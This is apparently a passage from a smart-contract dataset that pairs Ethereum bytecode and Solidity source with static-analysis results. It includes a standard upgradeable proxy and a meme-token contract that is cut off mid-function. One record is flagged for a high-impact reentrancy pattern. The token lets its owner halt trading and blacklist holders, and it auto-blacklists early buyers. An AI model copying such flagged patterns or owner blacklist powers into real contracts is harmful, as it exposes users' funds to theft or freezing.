1080b565b34801561041b57600080fd5b5061029160175481565b34801561043157600080fd5b506040805180820190915260048152634e4f4f4b60e01b60208201526101fc565b34801561045e57600080fd5b506101cb61046d366004611840565b610853565b34801561047e57600080fd5b506101cb61048d366004611859565b610882565b34801561049e57600080fd5b506102326104ad366004611726565b6108c0565b3480156104be57600080fd5b506102326104cd366004611672565b60106020526000908152604090205460ff1681565b3480156104ee57600080fd5b506101cb6108cd565b34801561050357600080fd5b506102916105123660046116ac565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561054957600080fd5b506101cb610558366004611840565b61090d565b6000546001600160a01b031633146105905760405162461bcd60e51b8152600401610587906118e0565b60405180910390fd5b60005b81518110156105f8576001601060008484815181106105b4576105b4611a27565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105f0816119f6565b915050610593565b5050565b600061060933848461093c565b5060015b92915050565b6000610620848484610a60565b610672843361066d85604051806060016040528060288152602001611a69602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610ed5565b61093c565b5060019392505050565b6000546001600160a01b031633146106a65760405162461bcd60e51b8152600401610587906118e0565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146106f15760405162461bcd60e51b8152600401610587906118e0565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6000546001600160a01b031633146107395760405162461bcd60e51b8152600401610587906118e0565b4761074381610f0f565b50565b6001600160a01b03811660009081526002602052604081205461060d90610f9f565b6000546001600160a01b031633146107925760405162461bcd60e51b8152600401610587906118e0565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108065760405162461bcd60e51b8152600401610587906118e0565b601655565b6000546001600160a01b031633146108355760405162461bcd60e51b8152600401610587906118e0565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461087d5760405162461bcd60e51b8152600401610587906118e0565b601855565b6000546001600160a01b031633146108ac5760405162461bcd60e51b8152600401610587906118e0565b600893909355600a91909155600955600b55565b6000610609338484610a60565b6000546001600160a01b031633146108f75760405162461bcd60e51b8152600401610587906118e0565b600061090230610746565b905061074381611023565b6000546001600160a01b031633146109375760405162461bcd60e51b8152600401610587906118e0565b601755565b6001600160a01b03831661099e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610587565b6001600160a01b0382166109ff5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610587565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ac45760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610587565b6001600160a01b038216610b265760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610587565b60008111610b885760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610587565b6000546001600160a01b03848116911614801590610bb457506000546001600160a01b03838116911614155b15610dc857601554600160a01b900460ff16610c1c57601654811115610c1c5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610587565b6001600160a01b03831660009081526010602052604090205460ff16158015610c5e57506001600160a01b03821660009081526010602052604090205460ff16155b610cb65760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610587565b6015546001600160a01b03838116911614610d3b5760175481610cd884610746565b610ce29190611986565b10610d3b5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610587565b6000610d4630610746565b601854601654919250821015908210610d5f5760165491505b808015610d765750601554600160a81b900460ff16155b8015610d9057506015546001600160a01b03868116911614155b8015610da55750601554600160b01b900460ff165b15610dc557610db382611023565b478015610dc357610dc347610f0f565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff1680610e0a57506001600160a01b03831660009081526005602052604090205460ff165b80610e3c57506015546001600160a01b03858116911614801590610e3c57506015546001600160a01b03848116911614155b15610e4957506000610ec3565b6015546001600160a01b038581169116148015610e7457506014546001600160a01b03848116911614155b15610e8657600854600c55600954600d555b6015546001600160a01b038481169116148015610eb157506014546001600160a01b03858116911614155b15610ec357600a54600c55600b54600d555b610ecf848484846111ac565b50505050565b60008184841115610ef95760405162461bcd60e51b8152600401610587919061188b565b506000610f0684866119df565b95945050505050565b6012546001600160a01b03166108fc610f346007610f2e8560086111da565b9061121c565b6040518115909202916000818181858888f19350505050158015610f5c573d6000803e3d6000fd5b506013546001600160a01b03166108fc610f778360086111da565b6040518115909202916000818181858888f193505050501580156105f8573d6000803e3d6000fd5b60006006548211156110065760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610587565b600061101061129b565b905061101c83826111da565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061106b5761106b611a27565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156110bf57600080fd5b505afa1580156110d3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110f7919061168f565b8160018151811061110a5761110a611a27565b6001600160a01b039283166020918202929092010152601454611130913091168461093c565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611169908590600090869030904290600401611915565b600060405180830381600087803b15801561118357600080fd5b505af1158015611197573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806111b9576111b96112be565b6111c48484846112ec565b80610ecf57610ecf600e54600c55600f54600d55565b600061101c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113e3565b60008261122b5750600061060d565b600061123783856119c0565b905082611244858361199e565b1461101c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610587565b60008060006112a8611411565b90925090506112b782826111da565b9250505090565b600c541580156112ce5750600d54155b156112d557565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806112fe87611451565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061133090876114ae565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461135f90866114f0565b6001600160a01b0389166000908152600260205260409020556113818161154f565b61138b8483611599565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516113d091815260200190565b60405180910390a3505050505050505050565b600081836114045760405162461bcd60e51b8152600401610587919061188b565b506000610f06848661199e565b600654600090819067016345785d8a000061142c82826111da565b8210156114485750506006549267016345785d8a000092509050565b90939092509050565b600080600080600080600080600061146e8a600c54600d546115bd565b925092509250600061147e61129b565b905060008060006114918e878787611612565b919e509c509a509598509396509194505050505091939550919395565b600061101c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ed5565b6000806114fd8385611986565b90508381101561101c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610587565b600061155961129b565b90506000611567838361121c565b3060009081526002602052604090205490915061158490826114f0565b30600090815260026020526040902055505050565b6006546115a690836114ae565b6006556007546115b690826114f0565b6007555050565b60008080806115d760646115d1898961121c565b906111da565b905060006115ea60646115d18a8961121c565b90506000611602826115fc8b866114ae565b906114ae565b9992985090965090945050505050565b6000808080611621888661121c565b9050600061162f888761121c565b9050600061163d888861121c565b9050600061164f826115fc86866114ae565b939b939a50919850919650505050505050565b803561166d81611a53565b919050565b60006020828403121561168457600080fd5b813561101c81611a53565b6000602082840312156116a157600080fd5b815161101c81611a53565b600080604083850312156116bf57600080fd5b82356116ca81611a53565b915060208301356116da81611a53565b809150509250929050565b6000806000606084860312156116fa57600080fd5b833561170581611a53565b9250602084013561171581611a53565b929592945050506040919091013590565b6000806040838503121561173957600080fd5b823561174481611a53565b946020939093013593505050565b6000602080838503121561176557600080fd5b823567ffffffffffffffff8082111561177d57600080fd5b818501915085601f83011261179157600080fd5b8135818111156117a3576117a3611a3d565b8060051b604051601f19603f830116810181811085821117156117c8576117c8611a3d565b604052828152858101935084860182860187018a10156117e757600080fd5b600095505b83861015611811576117fd81611662565b8552600195909501949386019386016117ec565b5098975050505050505050565b60006020828403121561183057600080fd5b8135801515811461101c57600080fd5b60006020828403121561185257600080fd5b5035919050565b6000806000806080858703121561186f57600080fd5b5050823594602084013594506040840135936060013592509050565b600060208083528351808285015260005b818110156118b85785810183015185820160400152820161189c565b818111156118ca576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119655784516001600160a01b031683529383019391830191600101611940565b50506001600160a01b03969096166060850152505050608001529392505050565b6000821982111561199957611999611a11565b500190565b6000826119bb57634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156119da576119da611a11565b500290565b6000828210156119f1576119f1611a11565b500390565b6000600019821415611a0a57611a0a611a11565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461074357600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122003832ed480bb1588f5a7ef073f79caf6f880676a042f8209c007a8cfed11254964736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
7,608
0xE6F7261B13ea6AFB39a5dc98Ff1A652761BB42Ae
// SPDX-License-Identifier: MIT pragma solidity 0.6.12; // Part: Address /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } } // Part: Proxy /** * @title Proxy * @dev Implements delegation of calls to other contracts, with proper * forwarding of return values and bubbling of failures. * It defines a fallback function that delegates all calls to the address * returned by the abstract _implementation() internal function. */ abstract contract Proxy { /** * @dev Fallback function. * Implemented entirely in `_fallback`. */ fallback () payable external { _fallback(); } /** * @dev Receive function. * Implemented entirely in `_fallback`. */ receive () payable external { _fallback(); } /** * @return The Address of the implementation. */ function _implementation() internal virtual view returns (address); /** * @dev Delegates execution to an implementation contract. * This is a low level function that doesn't return to its internal call site. * It will return to the external caller whatever the implementation returns. * @param implementation Address to delegate. */ function _delegate(address implementation) internal { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev Function that is run as the first thing in the fallback function. * Can be redefined in derived contracts to add functionality. * Redefinitions must call super._willFallback(). */ function _willFallback() internal virtual { } /** * @dev fallback implementation. * Extracted to enable manual triggering. */ function _fallback() internal { _willFallback(); _delegate(_implementation()); } } // Part: UpgradeabilityProxy /** * @title UpgradeabilityProxy * @dev This contract implements a proxy that allows to change the * implementation address to which it will delegate. * Such a change is called an implementation upgrade. */ contract UpgradeabilityProxy is Proxy { /** * @dev Contract constructor. * @param _logic Address of the initial implementation. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _logic, bytes memory _data) public payable { assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1)); _setImplementation(_logic); if(_data.length > 0) { (bool success,) = _logic.delegatecall(_data); require(success); } } /** * @dev Emitted when the implementation is upgraded. * @param implementation Address of the new implementation. */ event Upgraded(address indexed implementation); /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation. * @return impl Address of the current implementation */ function _implementation() internal override view returns (address impl) { bytes32 slot = IMPLEMENTATION_SLOT; assembly { impl := sload(slot) } } /** * @dev Upgrades the proxy to a new implementation. * @param newImplementation Address of the new implementation. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Sets the implementation address of the proxy. * @param newImplementation Address of the new implementation. */ function _setImplementation(address newImplementation) internal { require(Address.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address"); bytes32 slot = IMPLEMENTATION_SLOT; assembly { sstore(slot, newImplementation) } } } // File: AdminUpgradeabilityProxy.sol /** * @title AdminUpgradeabilityProxy * @dev This contract combines an upgradeability proxy with an authorization * mechanism for administrative tasks. * All external functions in this contract must be guarded by the * `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity * feature proposal that would enable this to be done automatically. */ contract AdminUpgradeabilityProxy is UpgradeabilityProxy { /** * Contract constructor. * @param _logic address of the initial implementation. * @param _admin Address of the proxy administrator. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _logic, address _admin, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable { assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1)); _setAdmin(_admin); } /** * @dev Emitted when the administration has been transferred. * @param previousAdmin Address of the previous admin. * @param newAdmin Address of the new admin. */ event AdminChanged(address previousAdmin, address newAdmin); /** * @dev Storage slot with the admin of the contract. * This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; /** * @dev Modifier to check whether the `msg.sender` is the admin. * If it is, it will run the function. Otherwise, it will delegate the call * to the implementation. */ modifier ifAdmin() { if (msg.sender == _admin()) { _; } else { _fallback(); } } /** * @return The address of the proxy admin. */ function admin() external ifAdmin returns (address) { return _admin(); } /** * @return The address of the implementation. */ function implementation() external ifAdmin returns (address) { return _implementation(); } /** * @dev Changes the admin of the proxy. * Only the current admin can call this function. * @param newAdmin Address to transfer proxy administration to. */ function changeAdmin(address newAdmin) external ifAdmin { require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address"); emit AdminChanged(_admin(), newAdmin); _setAdmin(newAdmin); } /** * @dev Upgrade the backing implementation of the proxy. * Only the admin can call this function. * @param newImplementation Address of the new implementation. */ function upgradeTo(address newImplementation) external ifAdmin { _upgradeTo(newImplementation); } /** * @dev Upgrade the backing implementation of the proxy and call a function * on the new implementation. * This is useful to initialize the proxied contract. * @param newImplementation Address of the new implementation. * @param data Data to send as msg.data in the low level call. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. */ function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin { _upgradeTo(newImplementation); (bool success,) = newImplementation.delegatecall(data); require(success); } /** * @return adm The admin slot. */ function _admin() internal view returns (address adm) { bytes32 slot = ADMIN_SLOT; assembly { adm := sload(slot) } } /** * @dev Sets the address of the proxy admin. * @param newAdmin Address of the new proxy admin. */ function _setAdmin(address newAdmin) internal { bytes32 slot = ADMIN_SLOT; assembly { sstore(slot, newAdmin) } } /** * @dev Only fall back when the sender is not the admin. */ function _willFallback() internal override virtual { require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin"); super._willFallback(); } }
0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100985780635c60da1b146101185780638f28397014610149578063f851a4401461017c5761005d565b3661005d5761005b610191565b005b61005b610191565b34801561007157600080fd5b5061005b6004803603602081101561008857600080fd5b50356001600160a01b03166101ab565b61005b600480360360408110156100ae57600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156100d957600080fd5b8201836020820111156100eb57600080fd5b8035906020019184600183028401116401000000008311171561010d57600080fd5b5090925090506101e5565b34801561012457600080fd5b5061012d610292565b604080516001600160a01b039092168252519081900360200190f35b34801561015557600080fd5b5061005b6004803603602081101561016c57600080fd5b50356001600160a01b03166102cf565b34801561018857600080fd5b5061012d610389565b6101996103ba565b6101a96101a461041a565b61043f565b565b6101b3610463565b6001600160a01b0316336001600160a01b031614156101da576101d581610488565b6101e2565b6101e2610191565b50565b6101ed610463565b6001600160a01b0316336001600160a01b031614156102855761020f83610488565b6000836001600160a01b031683836040518083838082843760405192019450600093509091505080830381855af49150503d806000811461026c576040519150601f19603f3d011682016040523d82523d6000602084013e610271565b606091505b505090508061027f57600080fd5b5061028d565b61028d610191565b505050565b600061029c610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd61041a565b90506102cc565b6102cc610191565b90565b6102d7610463565b6001600160a01b0316336001600160a01b031614156101da576001600160a01b0381166103355760405162461bcd60e51b81526004018080602001828103825260368152602001806105876036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61035e610463565b604080516001600160a01b03928316815291841660208301528051918290030190a16101d5816104c8565b6000610393610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd610463565b3b151590565b6103c2610463565b6001600160a01b0316336001600160a01b031614156104125760405162461bcd60e51b81526004018080602001828103825260328152602001806105556032913960400191505060405180910390fd5b6101a96101a9565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e80801561045e573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b610491816104ec565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b6104f5816103b4565b6105305760405162461bcd60e51b815260040180806020018281038252603b8152602001806105bd603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5556fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a2646970667358221220ea8d666e4656b843a9123088b0f14fd2eb82149b5176876aad65a2add257677264736f6c634300060c0033
{"success": true, "error": null, "results": {}}
7,609
0x0Db8Fe9825E84fA63b2cBaD72ad156D98486824B
/** *Submitted for verification at Etherscan.io on 2022-03-19 */ /* */ //SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract SaitamaPredator is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Saitama Predator";// string private constant _symbol = "SAP";// uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 public launchBlock; //Buy Fee uint256 private _redisFeeOnBuy = 0;// uint256 private _taxFeeOnBuy = 1;// //Sell Fee uint256 private _redisFeeOnSell = 0;// uint256 private _taxFeeOnSell = 1;// //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping(address => uint256) private cooldown; address payable private _developmentAddress = payable(0x7AD5e65B26878a6EE0472f7f17A55E6a4678dD71);// address payable private _marketingAddress = payable(0x7AD5e65B26878a6EE0472f7f17A55E6a4678dD71);// IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 10000000000 * 10**9; // uint256 public _maxWalletSize = 15000000000 * 10**9; // uint256 public _swapTokensAtAmount = 1000000000 * 10**9; // event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(block.number <= launchBlock && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){ bots[to] = true; } if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _developmentAddress.transfer(amount.div(2)); _marketingAddress.transfer(amount.div(2)); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; launchBlock = block.number; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 